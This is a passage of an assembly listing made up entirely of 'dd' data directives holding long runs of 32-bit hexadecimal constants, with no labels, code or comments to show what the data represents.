		dd 34044ED2h, 80BE0923h, 53808844h, 0F8AFDF3Bh,	3E765B00h
		dd 41B3FF9Ch, 6EE0003Dh, 94EECF62h, 0A07DEF2h, 26DB6C0Fh
		dd 7CED17C0h, 58B77E74h, 0AE855876h, 6EDC80A5h,	1003BFF0h
		dd 0B13FF4F9h, 2829B0D6h, 77330066h, 85B28250h,	0AC03EC5Bh
		dd 9AADF4E2h, 0E7961E7Dh, 0CC810064h, 5908FFE6h, 0E84CB000h
		dd 5288A577h, 14A61271h, 9EBC01C8h, 0CD2779DAh,	0E4222Fh
		dd 604B42B8h, 0A0BB2h, 3048EA17h, 91AF7D85h, 585F7130h
		dd 0AB69F8h, 78C32333h,	30BB75B4h, 7E01DEFCh, 74F92D6Dh
		dd 6060A2E1h, 0FE921EECh, 235040E2h, 5FBCCB20h,	0F0D1CE00h
		dd 37AD3C02h, 0E4BD0190h, 0CFC50161h, 72AC47E9h, 0D0E03B73h
		dd 4AFC098Dh, 80BFEB3Bh, 0BAE87563h, 90495C83h,	0F8650090h
		dd 347704A9h, 2700DAFBh, 29606B5Dh, 0E8490E9Fh,	468300EEh
		dd 916F36D8h, 2800A661h, 707D823Bh, 0A03FA1h, 0B042B184h
		dd 0C5F815A3h, 8109D27Dh, 44E3BC23h, 29E10EB0h,	0FC9486h
		dd 0FC1BDAE7h, 2320377Eh, 0F0D000DBh, 1FD6796Dh, 4B072E22h
		dd 0E8FD4CBAh, 8D41C0DEh, 0A854DBh, 6DF279A1h, 6F3A4878h
		dd 0DEF68B02h, 0C91E382Eh, 0A830C638h, 55BC05BEh, 0D04D0DCCh
		dd 604C87B8h, 0E800834Ah, 8E4204E5h, 1ABB059Bh,	800A2D93h
		dd 72D40500h, 0A214C47Fh, 16187557h, 0FD0C9A03h, 74F030F3h
		dd 7D4C00D3h, 9647D255h, 0D37B69Eh, 8766B0A6h, 6F530028h
		dd 9F6BCB83h, 92005AE3h, 0D864032Ch, 3EEC0BF0h,	3400E75Dh
		dd 0F7CC0FEAh, 0C097313h, 8354EEC6h, 2F21A09h, 0AAF04368h
		dd 0E8509303h, 4ABAD900h, 0E3976E8Ch, 9CD73A23h, 6F5D260Ah
		dd 39A50358h, 70F03D89h, 4F0015BDh, 4E4B249Bh, 61FE06h
		dd 3AD8EBA4h, 0AC3C8749h, 0D78D340Fh, 4B6D00BAh, 1D9B71F7h
		dd 0BE252E04h, 0C4837800h, 19B3734Dh, 3EB07700h, 979AD118h
		dd 0CC2D0E67h, 5280FBEFh, 0F106D92Ah, 7ADB7800h, 0DDA1F8C0h
		dd 3CE498h, 0C73757DCh,	0D40BC943h, 3371751Fh, 0C3F47D01h
		dd 5CE0BACBh, 0C6D90045h, 5403855Bh, 4A0B0F63h,	0F4C31B8h
		dd 684FE0A3h, 2CB3E6h, 1E978D61h, 0C92B2D5Dh, 9C745200h
		dd 0D0180548h, 0BAD50E1Ch, 3FCBED90h, 80654C81h, 7BC840C7h
		dd 0C92949Fh, 58F03Eh, 84D38BBFh, 8FCB30h, 0C5868A29h
		dd 0E15BFF57h, 2081F930h, 29EF1C3Bh, 0E220CA46h, 9030F2C2h
		dd 4092D1h, 42511372h, 416BAB2Eh, 9600E776h, 59C727EDh
		dd 0E3499FCh, 35905503h, 6C80FF7h, 9020F609h, 0A85ED611h
		dd 0E71180F9h, 0F1FE7AB7h, 838F0CBDh, 0F4081258h, 0BE0064BAh
		dd 89BF7A1Fh, 17C7BEBh,	286ED4A4h, 74043516h, 7200DE44h
		dd 0BAA51E4Bh, 7D86D05h, 0B9484723h, 0EDFCC00Ch, 7434550Ah
		dd 0ED06903Ah, 3E61BE08h, 0D8600590h, 292E348Bh, 0A0362607h
		dd 7EE02528h, 0FC5EDCCh, 0A9A31BBFh, 5DB543C0h,	0D4A1A8D4h
		dd 7621C644h, 919D0955h, 0CE2E09ADh, 9BC1EC43h,	0F0B6C8FEh
		dd 0D2ED4B03h, 0A3ECC3B8h, 0CE310097h, 0E76E9B26h, 630136FDh
		dd 4B9C1A81h, 2C348A10h, 42D812D6h, 0B08C2013h,	57589322h
		dd 2E720646h, 6A08CC0Dh, 4421BAh, 615D5A93h, 7503255Ch
		dd 3E49E213h, 0F5C5E858h, 3AD4B294h, 0C0134F87h, 79302290h
		dd 552001C0h, 0DBE3EF0Ch, 0C0C1095Ch, 4ACB1921h, 0A1006168h
		dd 0F2B37EB7h, 29D61247h, 81ECAFC8h, 0F1F47A45h, 88E0182Dh
		dd 0FCA14A18h, 1F4EDC35h, 8D0AA9F0h, 0C8030D8Eh, 9006348Ah
		dd 0A6B49F80h, 0E39A19h, 0AD7D3244h, 792DEEFCh,	1FA8FF09h
		dd 60048E5Bh, 58D6468Eh, 4A682D95h, 0BD1EB0FEh,	69C52C0Fh
		dd 0D8F1059Fh, 0C7BCD008h, 0D11C2EF0h, 213F8DDBh, 9BF8D8h
		dd 0D82B6A52h, 289AB5CCh, 0FCA6F202h, 912C8090h, 5718F9A4h
		dd 55354A08h, 0E104C6A7h, 4AFC1800h, 0BE338E4Eh, 2A5078A5h
		dd 0A082AFh, 95245D34h,	2A19DF64h, 3F37F34Ch, 9C21E00Fh
		dd 91257B6Dh, 18AB790Ch
		dd 839700E9h, 17A8A4DDh, 70EA8BB4h, 455759C0h, 7C042Fh
		dd 0FD35EE56h, 6E4232E6h, 2900CAF4h, 5788C4F3h,	0AE819Ch
		dd 65A4192h, 2072B38Ch,	47465490h, 42932102h, 1CBC05h
		dd 0EF93B21Eh, 0DBFAFC6Bh, 0BB18E73Bh, 521E010h, 0FEED14DCh
		dd 17A700E1h, 39B124A6h, 79761ACCh, 0D365981Eh,	0D609FFDEh
		dd 1B4030CAh, 0F1F2117Ah, 217D8C1Dh, 7A40041Ah,	0C3D4CE46h
		dd 89987B14h, 0D754F68Eh, 8D1AFEE0h, 41117388h,	3048C55Ch
		dd 0F57A0844h, 0E1C245F1h, 4D1900D6h, 0FC000D7Ah, 0A62F6DEh
		dd 63F7794h, 0A4892DDBh, 41004978h, 5E0FB0ACh, 0C88FF2DFh
		dd 7CEE968h, 6514F17Ah,	0CD20EF62h, 2C407A48h, 264CB97h
		dd 0A5DD9677h, 4A6EE890h, 0D893D300h, 385E47E3h, 0DEAB0017h
		dd 2B9C0A8h, 92123AB0h,	886388D7h, 0F04490F4h, 10EC43FBh
		dd 0F800D780h, 5FC19B3Ch, 23E6DB2Dh, 6A77F00Ch,	1C84135h
		dd 2E59F9F5h, 24029A58h, 54006278h, 0B6F7BF96h,	0F7E2D3Fh
		dd 341952E7h, 23663383h, 70449FBAh, 0F2B8B702h,	0C1EDFB75h
		dd 2DC4C465h, 0C92FDh, 809E43A1h, 97E1B7B5h, 0CC077E78h
		dd 64081AE2h, 0D8960D03h, 5B0C872Ch, 6780038h, 4C2B7961h
		dd 0DD78D491h, 9F00863Bh, 0B1EB9527h, 0E4223Ch,	14B8E9EEh
		dd 9BAF0710h, 88D4D84Ch, 932FC049h, 0CC460540h,	1000B822h
		dd 0F5FB9388h, 0A98C86Ch, 3864F3DFh, 0BA465C24h, 0D2734A02h
		dd 0D4A00A34h, 779E8980h, 3240D00h, 9F7EDD2Ah, 37C40061h
		dd 0A318933Bh, 0D0A8069Ah, 4D00D8A6h, 8363FE84h, 3C8EE09h
		dd 0FDA815ABh, 40FDF38Eh, 0BDB8B388h, 423C4D06h, 3824590Dh
		dd 6FB49507h, 0A24F30E0h, 0D08DB527h, 8C18C021h, 73A5B1B9h
		dd 0B649F4A8h, 0B3415B0Fh, 30F74079h, 1E5D20Ah,	0E4EE36F1h
		dd 85AF3237h, 1A520D1h,	8B02DC88h, 0B9D570E7h, 0B5FCF376h
		dd 8729983Eh, 9A40929Ch, 0F4AA2E40h, 70594877h,	69C7B98Fh
		dd 10A406Bh, 5BF636EBh,	0C8882C58h, 4B43C03Dh, 0C7465521h
		dd 1C1FC022h, 37004AC8h, 1DFF6BB4h, 0B6971E55h,	0DC6622h
		dd 9A08B3CCh, 89329DCDh, 909FF9D8h, 0F90BBCh, 7A79FACBh
		dd 54C4A6ABh, 8CEA7E00h, 1C015A85h, 0F3C80F37h,	0E93B89Eh
		dd 87003E76h, 550884D7h, 0C458EC60h, 0B0A7DAE0h, 0DFE22E84h
		dd 8E003BF1h, 0A2339208h, 7B0F8C97h, 63B9BCD3h,	0E08030FCh
		dd 944B63h, 0BF5F1466h,	40C3F252h, 7EEA3216h, 9950F800h
		dd 3ABD477h, 919E2E10h,	0D2A82482h, 57018764h, 0A8393C6Dh
		dd 0CC408E35h, 0D13DB7h, 0A0DAB606h, 0AD615FF9h, 0E6768403h
		dd 0F8C1250Ah, 71EBEE9h, 96ED33BCh, 0A2DC2116h,	10807B95h
		dd 71768Ch, 0CBDD10B6h,	6BB99B2Fh, 0F13E7F00h, 2A6F2863h
		dd 38F6001Ah, 4637A4C3h, 8600DC34h, 7EF78B55h, 31CA87E6h
		dd 3FE4B3Bh, 91408798h,	9FFE212Eh, 26879940h, 10CE89DFh
		dd 1CFAFB7h, 390CEB53h,	808F7433h, 10C1316Bh, 0E40FBC45h
		dd 36003F9Fh, 0F907E69Ch, 1096B8E4h, 34B1618h, 596067A6h
		dd 0D7B80D9h, 79BF1F09h, 99902Eh, 9C28553Fh, 1D2C8162h
		dd 0C45CC5EEh, 41A3C445h, 66287844h, 65117DCh, 0E3584FEh
		dd 0C41C4057h, 328EF00Ah, 5C680094h, 0F6A8363Bh, 34400AD4h
		dd 3DA0FD0Fh, 16E05780h, 0A0FAF847h, 19038F00h,	816BBE73h
		dd 10B7003Eh, 0FFEF1E21h, 0F900C67Ch, 77E976C8h, 0C0D701D8h
		dd 13CFC040h, 0DC90DAB9h, 5B366B07h, 540A8B0h, 2C3CB6h
		dd 4AF7C28Eh, 0B8787B07h, 490B4300h, 8B0C57AFh,	7CE83D46h
		dd 55108F9Ch, 5D01C042h, 118AF89Eh, 2AA040EEh, 5024303h
		dd 28910DE0h, 37B1604Bh, 77C70025h, 9C89C871h, 22003567h
		dd 9E7F6155h, 9AC43Eh, 995E4B56h, 8509D0C2h, 43024600h
		dd 0F7BB67B1h, 0BF9400DAh, 0D31B6BF1h, 81C40513h, 83BF04E5h
		dd 5BE837F0h, 0B00BE96h, 0B5F0993Dh, 78494630h,	74AE00CEh
		dd 8CB22188h, 6B7481A4h, 0F0BADD0Fh, 12ABE7EDh,	65CE9970h
		dd 0C6FD07ECh, 20B4EA13h, 706B5CD1h, 0C4F29D0Ch, 6D40D8h
		dd 64A89684h, 69BB9A09h, 651F8500h, 33D22F8Dh, 6DC800B8h
		dd 5F20404Bh, 22FCDCE9h, 408FC124h, 3601C020h, 0F2B9182Dh
		dd 0B0281C74h, 0D9438BB8h, 3A206E00h, 0B900A57h, 85567D1Eh
		dd 9802E4C4h, 303374C2h, 23114B5Dh, 0DA885755h,	4ACA1280h
		dd 0F4782DECh, 41151E3Ch, 79F941F0h, 3953B36Bh,	4228BC5Ch
		dd 8E4A11ECh, 232008A9h, 1A29F246h, 0D6E1789Ch,	0FCA50086h
		dd 0CF97F8F6h, 84591347h, 6DCC005Ch, 0A880E5DBh, 3E700091h
		dd 3DDF3018h, 45041D43h, 5D1BE64Ch, 1A343CC1h, 10155C64h
		dd 68D3B8CBh, 505F0448h, 7506990h, 0B207B1A8h, 10D8E193h
		dd 3B3FFE01h, 0B0E31D60h, 6E900384h, 0B487D584h, 2921DFE3h
		dd 221C1D54h, 0DC116242h, 0C52811D8h, 0B6E54470h, 0D09E2284h
		dd 0E0113C42h, 0A02A2220h, 1E2C7231h, 414C7491h, 0D8A56EFCh
		dd 15002EA4h, 9D155F82h, 93F500BEh, 42FC9F3Dh, 0EF00AE46h
		dd 0ED315163h, 60CC491h, 5AE1F707h, 430B4E64h, 0C8A5A0F9h
		dd 0D688ACh, 0EB927EFEh, 0A97890A1h, 3CE6F800h,	862D726Dh
		dd 20A0BB3h, 0FA0051B2h, 0F8E08D57h, 0C5D4AB01h, 894953FAh
		dd 6AC3F8h, 0E711AAD2h,	0A09AB7A3h, 80F5957Bh, 63773811h
		dd 16250C6Ch, 5BFC98h, 0FF05F054h, 0BA00151Fh, 437BE444h
		dd 1A84DD9h, 51C9B5F1h,	7417976Bh, 59013878h, 0B17782BDh
		dd 0BBF8A49Fh, 0F38E000Eh, 9ADDCD5Eh, 21003612h, 189B9E15h
		dd 609DFB3Dh, 463A80F8h, 6EFA51A7h, 7B3F862Ch, 0DEC83B00h
		dd 0EAC178Fh, 41727643h, 0D6C352E0h, 64095631h,	2461E3C4h
		dd 54A895C0h, 0D8CEBFB1h, 8A005E86h, 2B418E45h,	7A93033h
		dd 0F76CCAB3h, 5C135012h, 0B2187111h, 7B8B6E8h,	0ED47022Ah
		dd 0D2C59075h, 7621A080h, 500B53Eh, 7BDE99A5h, 2E4BB7h
		dd 0D0F474BCh, 0FC9EDAD7h, 0F60024B8h, 954F44A6h, 0FCC16218h
		dd 0AA1200C4h, 29CB4EB9h, 9A128DDDh, 0B6ECC509h, 0C619D500h
		dd 455AD7F2h, 0E716CA0Ch, 167D885h, 0B5DBA22Bh,	0F4D1440Ch
		dd 0E948C113h, 81B90009h, 94BECAFAh, 5F2E00F5h,	5DDDDC8Eh
		dd 0BF049785h, 837352F6h, 0A10780BEh, 21037E0Dh, 0E93526C4h
		dd 0F2D1A876h, 714B0093h, 0EA1C46D7h, 3B00A0BAh, 827EE9AAh
		dd 0F87DCh, 0FDC431E7h,	5EA52443h, 0AEDFDA00h, 9D9B27CAh
		dd 0DB223857h, 0B0AFCF81h, 0E5D0C5D7h, 8074E125h, 79200668h
		dd 2AF5D3Fh, 5BE8FCBFh,	0FC8014A5h, 0E1DDA485h,	1007F518h
		dd 4A9931h, 195FEA48h, 0C08C90ACh, 459B0A01h, 0F77322Fh
		dd 7E822980h, 629EA4D0h, 0A5F2F13Bh, 914488ACh,	0FF9F2500h
		dd 0F8728D2h, 0F598B91Eh, 4CEC68A0h, 851C2F80h,	807EBDA7h
		dd 6FFE8AE2h, 732C5Eh, 1E17E056h, 0E961A3C0h, 0CD3144C0h
		dd 4BC17Dh, 693A2E47h, 8BFB745h, 48A9BD35h, 0D1232B80h
		dd 0C20600D8h, 6B2A8AB4h, 404542Dh, 8F05C88Ch, 61008CA8h
		dd 83584875h, 60C0FDE4h, 0F0545F65h, 0BB71289Bh, 343B01A0h
		dd 0A6A1E257h, 0CDAB6001h, 1FCF4705h, 80EF39DEh, 4A7ED8FEh
		dd 3E48567Ch, 0DCCE2C2Ch, 3AAD7C00h, 3F60C58Fh,	0F578C0h
		dd 0A9C7F975h, 8DD0CF54h, 32242904h, 69C0FBB7h,	7E835204h
		dd 661C09B2h, 0A80070ECh, 91E158BCh, 3CC7BB02h,	0E0FE4D05h
		dd 0F9D751Ah, 2FD274F7h, 45D00D60h, 0E002D2Ch, 1FBF4BCEh
		dd 0C03C4Ah, 0E3E160A1h
		dd 0FBA714BDh, 23970D13h, 50A97000h, 934E4Ch, 0FFBE6918h
		dd 99743DF4h, 0D3D62800h, 0FBCF6A0h, 0F1AA00CBh, 77A4C719h
		dd 0D70018D2h, 0B4859971h, 0EEB7E2h, 97846A49h,	0CDC4C33Bh
		dd 50424800h, 0B0795B0Bh, 56AE1294h, 7454F0B8h,	0CE00CDF6h
		dd 2160E934h, 97779Fh, 0DE0944B4h, 52691E9Ah, 0DF20D564h
		dd 76F980C0h, 945C0029h, 0CB9347A4h, 3100EE2Dh,	0D5DC1C16h
		dd 0AB1DBBh, 0FE9BB0A2h, 2BCB71AAh, 1A5D4D00h, 0ACCD418Dh
		dd 87C300A5h, 16051C36h, 3B00BA60h, 31DCEAC9h, 83C55Dh
		dd 0B35AC2E3h, 0A25FCC96h, 1B2694Ch, 0BE05E9B0h, 0E2D0356Bh
		dd 0B32F004Bh, 0FF4E7D93h, 25002A42h, 5F8FAE7Eh, 90B255h
		dd 39B0A6A2h, 98489D6h,	4431D403h, 0A0A582B3h, 8C7751h
		dd 9B189156h, 7220D17Eh, 5F694A02h, 607F86F2h, 3D1F2FE0h
		dd 0B7032A22h, 0B1CCD50Fh, 545EB3BAh, 0E1E40901h, 0EBD81A4Fh
		dd 8DB60F50h, 0E520B795h, 3A31BAACh, 0D1473703h, 0E09B4C5Eh
		dd 0B90F4Eh, 2EC4F910h,	819C0254h, 0F83CD602h, 0C21D275Ch
		dd 40C4A0CAh, 4C025A7Dh, 5000D084h, 570E395Fh, 0AAB8A86Ch
		dd 0C500DDFCh, 0F29545D5h, 6662DAh, 8FB8066Bh, 1D071820h
		dd 9C9B3400h, 0FA3B9444h, 0EE9002Dh, 71253F9Dh,	0A60BA8Ch
		dd 0A4AAF3E9h, 0ACA3275Ch, 914DD4C0h, 5F72EC01h, 6E98EAE0h
		dd 1373E530h, 0E0250762h, 6900D840h, 4EB29022h,	0E4529AB3h
		dd 36170CD7h, 0D8E95B92h, 504DE200h, 71AEA22h, 0FFE60F0Bh
		dd 2B01D6FAh, 8A5DED9Fh, 9CB281C8h, 0BBA84800h,	1CC98382h
		dd 9B0228Ch, 0E0039AD1h, 428018FCh, 4E0053EEh, 59391073h
		dd 3F5C264h, 0D1045602h, 0A3980117h, 3B73B6DEh,	5062F227h
		dd 0EB1A0736h, 90A261B2h, 0FE7EB7A4h, 0B2F961Dh, 6080E1F0h
		dd 7D273045h, 8B240620h, 0B13A5B00h, 0E9B8F4E2h, 0E136009Dh
		dd 0CFE6C0F2h, 63006E2Dh, 0B44E9C7Bh, 28CB76Bh,	226D38ADh
		dd 0C461B10Ch, 0B0BE0028h, 0CA1803E8h, 0D3C55792h, 0E4D64980h
		dd 0FFF474E5h, 0BF4C5900h, 50E08893h, 640E00C9h, 0FDC6227h
		dd 9CA0157Ch, 80CEDE5h,	10146F09h, 0B5F300C5h, 88E94829h
		dd 716079ACh, 100F9951h, 0E98B08Dh, 0C49502FBh,	0F0AF1C40h
		dd 5E0003F1h, 182D6D5h,	8DEA1Dh, 0DF3D8AF7h, 78CED8CBh
		dd 4A2CD3Ah, 0F303C92Ah, 0D39A22C3h, 0B0FBA0D9h, 0D8749Fh
		dd 0F224B61Fh, 11A1CCBBh, 43B1DB03h, 0D29D3C89h, 26E740ACh
		dd 0F6780372h, 0A332E5E6h, 0C94D38F8h, 4234D60Ch, 1DD10ACh
		dd 3724B259h, 0D0B3CA61h, 0F5003B6Ah, 836DBAE5h, 7EB9E3E2h
		dd 0D5862D4Bh, 0E7444DC0h, 72D02C00h, 0B8F2C565h, 1BAA0046h
		dd 0CA6452AFh, 210EC825h, 63C910FBh, 0F8FCD5D8h, 153DCA0h
		dd 7825CC31h, 2CDACBB0h, 67C90050h, 1AE4D2F6h, 0C3710195h
		dd 20763218h, 0EC1D3E0Ch, 7C3F1600h, 55F324h, 0D74FD278h
		dd 3CA1CFDEh, 20CDA88h,	4DFEDDA2h, 2440AD63h, 0CD07D951h
		dd 8889B91Fh, 1EC61450h, 4BB00B04h, 6E80927Eh, 0D11B05AEh
		dd 0DC550607h, 93404285h, 1CE85Dh, 14A97397h, 50A3D565h
		dd 0DFFD5800h, 9A2F1B37h, 24DD00DEh, 2C7D6160h,	0C800ABD2h
		dd 1598DF09h, 2E7BBD9Bh, 1DE0F18Dh, 200B9312h, 8376F204h
		dd 0F87D2402h, 865E1Eh,	0A0E096B7h, 0E3B0AE72h,	0C309CB00h
		dd 974BA6C8h, 3B6C04F6h, 8037E7E4h, 6050E62h, 5D3E26E4h
		dd 6BDE001Fh, 767EAE21h, 1249041Bh, 0C04D87F6h,	69371C04h
		dd 0B8CCD64Bh, 0CD9D018Fh, 0C7A08170h, 0D50BC92Fh, 0EE43C4A8h
		dd 27555Ch, 41B09F8h, 5A93D1D8h, 0C799C5C4h, 0A57A70h
		dd 0B5DCE27h, 94001A6Dh, 757FE5F3h, 0B0237904h,	92100066h
		dd 1EC53E35h, 0C73D060Ch, 9098807Bh, 8CD5D991h,	9EB90088h
		dd 0A9B63A27h, 3D07D474h, 4D4CFF40h, 9879E820h,	0A8450028h
		dd 16920431h, 5100B021h, 7A091235h, 4EEF6A4h, 4B76F402h
		dd 0E800EF07h, 0BBE490BDh, 16040015h, 6F66832Ch, 18002564h
		dd 0F0C7C23Bh, 32E772h,	3FCB527Dh, 44CA7B4Fh, 1E000AB8h
		dd 9DE674EBh, 71A38Ch, 53A6EB0h, 35C3A607h, 0D02F400h
		dd 44E970D4h, 59180117h, 28120AF2h, 38CDF82Ah, 7D146300h
		dd 0BFB3369Eh, 0AD4F00FFh, 0DD21D23Eh, 410175D4h, 4315EF77h
		dd 0C1F868D9h, 0C8A7038Bh, 9DB3119Ah, 0FB3AF800h, 71C0DE4Ch
		dd 59550078h, 0CDBA8D31h, 7701A5F5h, 7F3CDF17h,	30809A2Eh
		dd 83F114Ch, 131F9163h,	0C8401E6Eh, 262C5E1Ch, 0DE881E76h
		dd 5D8C85D9h, 70F6C14Ch, 5FC7404Eh, 230EE809h, 83180Dh
		dd 9AEB8D87h, 68DE00A9h, 0C3925224h, 4700D9B1h,	0AEAB1C42h
		dd 3A3D9B38h, 210354DBh, 0D6D030C2h, 3A60EE01h,	594A89C7h
		dd 0AEB0CCh, 4C16C6E4h,	0E60F27D7h, 20540B00h, 359310A9h
		dd 716C0062h, 0AAF26A23h, 4500918Fh, 0CFBE478h,	2FD43Ch
		dd 0A004A4DCh, 4C2E317Eh, 0A1742200h, 9E2B657h,	2C86750Fh
		dd 79CAF8h, 74238917h, 70003B98h, 10920330h, 0BC3AADh
		dd 0AB54B205h, 2E791C0Fh, 0A211ED00h, 58E398F3h, 2A36008Ah
		dd 97F9D748h, 0CC00D484h, 0DDEDAB3Fh, 0A8246476h, 1F79E9A4h
		dd 0EE0C0BDh, 728015CCh, 0F2BEDACFh, 0C5924900h, 85BF63B5h
		dd 0B26FA16h, 0B3786F6Ch, 0D9160Ah, 88D6774h, 5316ADCCh
		dd 0D1009247h, 0DFC22964h, 0E6B0DCh, 1DACE1CBh,	3E7B1F6Eh
		dd 0ECC0E200h, 6DC6F3D9h, 31730091h, 4DF9B583h,	121DD068h
		dd 0C804F826h, 1C805351h, 97B957Ch, 0CFC4AF6Ch,	0A3CE4487h
		dd 42C02616h, 0B001F71h, 9CF01760h, 38C82AF9h, 0F781E662h
		dd 3F9E22BAh, 964F20E4h, 507CDB00h, 0C809A8EDh,	94AB3258h
		dd 74C02850h, 150031C7h, 7BD2E6EBh, 3093C1F9h, 391025ACh
		dd 23015D9Fh, 44F23C1Ah, 0D8240321h, 0FD618038h, 8BB2A000h
		dd 0B44CE384h, 8713268Dh, 0C6DF0114h, 0EC6C6BD5h, 0B6713170h
		dd 0D0A0C2B8h, 0AA00B7B8h, 0E5BF623Ch, 0A00880A2h, 0FCDC93h
		dd 5CF38798h, 0C9A58EB0h, 461B40B0h, 98189918h,	6608676h
		dd 0E319AFA6h, 0DC005468h, 0A1577ACh, 0F9D5D5Ch, 5498D17Dh
		dd 25700380h, 0AB011147h, 6E1A8B7h, 3BF4E9D6h, 0F4330095h
		dd 947B4A1Ch, 2E7FBAFEh, 0B3B09A00h, 7D0AF7A4h,	0AD370A6Ah
		dd 3FA83416h, 3C6FB0F2h, 0F7002CB2h, 1BA5DDD9h,	5CF0D7F6h
		dd 2890D300h, 0BA2D88D5h, 0F3810017h, 0EC7A1DFAh, 0AF00CA26h
		dd 0AD1B9031h, 170F940Dh, 0F354441h, 23E0E487h,	0C52E85F8h
		dd 0A43FF704h, 9A83B4B0h, 0A119E3A9h, 36D8BCDEh, 0CFE00082h
		dd 796BB099h, 0D6603206h, 9895B11h, 5AFD1DBAh, 5E4783E3h
		dd 80B43A93h, 2B6D4CCBh, 48805800h, 21E10D07h, 6130012h
		dd 60BD2F5Ah, 0C94C2B4Ch, 0A6A0E59h, 4E21609Bh,	60CE3CFCh
		dd 0EB9ECEBDh, 76FAB4D8h, 0A88FA600h, 512B0957h, 0CA2A1E71h
		dd 91C66C1h, 31801788h,	26B9B292h, 0B8AEDC00h, 90E85BE9h
		dd 0E0B0007Fh, 743291E7h, 61007DA6h, 0C470083Ah, 9A5DE9h
		dd 0A059521Dh, 0A8717A2Bh, 22E339h, 0AB6CE13h, 0C14AF1h
		dd 6E1015B1h, 0D26427BAh, 8B855D00h, 70049D0Ch,	6057007Ah
		dd 9903BF23h, 900E1279h, 0A0066C88h, 3EB6FFE7h,	0E48C018Fh
		dd 7BB0B41Fh, 42F061EFh, 8F827600h, 1840F1A7h, 5500D0C8h
		dd 8D81D65h, 0B7B4CAh, 26BACE66h, 0A771461Ch, 0B696F51Dh
		dd 0EA90C283h, 81111E07h, 90A6FEh, 1BEFAB1Fh, 9CA082CCh
		dd 0AEEC326h, 36002CF8h
		dd 48D17B3Ch, 4A3D681h,	0D8F8B1CEh, 0B464819Ch,	0E071125Eh
		dd 0DB2C67h, 0FA460194h, 446055D8h, 470BF0E5h, 0C08C9837h
		dd 50801824h, 0E37BADh,	6A46F9F6h, 0AFC7CCE0h, 67AD23Eh
		dd 60742D49h, 4DB713C8h, 40781CD3h, 0CB09D93Dh,	9A00B6BEh
		dd 1D8CD6CAh, 770DA154h, 0E03A00F5h, 6634E333h,	9600394Ah
		dd 4F1D21C4h, 747D85Eh,	0C2DD8B30h, 417C4083h, 9BFC5715h
		dd 0F763Bh, 0B369B43Dh,	0C6116D7h, 0A3C35C72h, 0B51CAAE8h
		dd 6F80C93Ah, 8C4E58EFh, 3BA10011h, 758BD844h, 1800AE9Ch
		dd 7CE3922Ah, 0D7805Ch,	0E83805C5h, 25EDA703h, 3A12E20Fh
		dd 475C608Ch, 40FAEAh, 2B8EFE71h, 9FE24C55h, 0AEF1B005h
		dd 0AC1F5F83h, 8E4B60C0h, 5648DBh, 543F3692h, 1E9943B7h
		dd 0F107D979h, 6129FC40h, 0EA5A00AFh, 60B0CDh, 24DA3F37h
		dd 9BC969D1h, 98DEBA00h, 0F8703DDCh, 4DF12440h,	0D87A00E8h
		dd 462A903Fh, 21562D00h, 0B854CC7Bh, 6F7800BDh,	0C92FBFDAh
		dd 40007D8Eh, 748966C7h, 0FD20D2h, 96463A22h, 0C12CB352h
		dd 0DA9A9F00h, 42583EF6h, 66540035h, 0A1F77567h, 6418E4DDh
		dd 0F1106876h, 0FF12006Eh, 38C71AFDh, 4000AFE5h, 4A8EA27Ah
		dd 67BF60h, 955D6DE1h, 3F58F737h, 7F036E01h, 6CB9E3DBh
		dd 6AA1F8h, 0ADC3977h, 0C6231791h, 6BC930E7h, 0E8A52000h
		dd 0D144B41Dh, 65842CA2h, 41A607A2h, 25C510C8h,	13002C73h
		dd 3C0D6001h, 1F183Bh, 5719CD55h, 0B4DFB12Dh, 0AE6FC200h
		dd 9E76A582h, 7A6800CAh, 0DE59A937h, 17752FD5h,	7928DF30h
		dd 7BBA342h, 0B40B4472h, 520540C4h, 21C72F1Bh, 7E304D96h
		dd 3A6CFAFBh, 4E01D378h, 1D9E7579h, 902986D9h, 0F030130Dh
		dd 0FA650764h, 405D6693h, 8B0C689Ch, 0DEF62600h, 7AB07478h
		dd 63F10142h, 9DCBA17Ch, 0C024401Bh, 9E88DF54h,	0EC2A71A0h
		dd 24113C61h, 11271818h, 0B5603479h, 0DE7A6341h, 702454A9h
		dd 0EB07863Eh, 32A72B4h, 53967340h, 2D7CFBDEh, 586DD501h
		dd 0E8A50B26h, 2C065676h, 2AB1CA5Ch, 68DA00B0h,	783CF91Ch
		dd 7300D8FCh, 6777FDD6h, 0BDF40Ch, 27F5DECAh, 4C1EF1E1h
		dd 0C81D7A00h, 553A214Dh, 930F0043h, 15519405h,	6300BAFAh
		dd 0B7BD2295h, 72CE68h,	478BB85Ah, 4F7EAE59h, 0C5361B00h
		dd 48015E41h, 35E26Fh, 0A87275B7h, 0B30B9F67h, 50C43Ch
		dd 3E29F40Fh, 0B4164Dh,	22C0159Eh, 89086C65h, 2ADC2E00h
		dd 0B3142D0Ah, 16017F93h, 0D370DEh, 241B8FF7h, 990026F8h
		dd 3F1A4D5Ah, 90979Fh, 4501B615h, 800A8AF4h, 855AB93Fh
		dd 1EC8E35Dh, 417CC4Ah,	160630F6h, 0E3240111h, 0D46A1E00h
		dd 113C9AAEh, 3E500DBh,	0A9494F54h, 0BB1FEB07h,	15C70151h
		dd 0E278050h, 1881006Eh, 178CF039h, 301F548h, 0F7087F98h
		dd 3D8047C3h, 3C01EA83h, 32F41670h, 29870C03h, 41C1C34Dh
		dd 0F0AEF322h, 3500FCF7h, 0CB433BBEh, 17F23407h, 0C4E7B6Ch
		dd 0FC616AA4h, 37414F61h, 0E0D3026Dh, 608B4246h, 9EF21908h
		dd 478D3A9h, 0E6BEDB1Fh, 4F485706h, 0CB051190h,	0D0007A4Dh
		dd 346CE49h, 6436C9B7h,	43B3E82Dh, 0E370C72Eh, 40C80ED2h
		dd 301F32F8h, 4353969h,	4CBE56h, 826821C9h, 103CF0D4h
		dd 2ABCB71h, 8B464048h,	0E594904Ah, 0F47ACCA8h,	731D97A8h
		dd 98B978F0h, 20598509h, 3B9D7D75h, 8901D74Fh, 3A7FE134h
		dd 926BE4D9h, 81B65A3Bh, 3CCF0147h, 388B5BF1h, 0F7065CF7h
		dd 0E7EC78DBh, 1F6E0700h, 5522053Ch, 37BA18AEh,	93899ADh
		dd 64662F0Eh, 7FEF2035h, 6E17E16h, 0DE8F0753h, 3B0028F2h
		dd 0D9031D58h, 2235E5h,	0B8578C90h, 8DBCE83Fh, 2D92461Eh
		dd 39504Fh, 0EC81D6FDh,	3436509Fh, 6FF80025h, 0B4050BB0h
		dd 0BC37A599h, 4290E982h, 608F0325h, 0A9D071DAh, 0B9F89F93h
		dd 90801200h, 92E6179h,	728101EAh, 8ABD6B41h, 79B03A6Fh
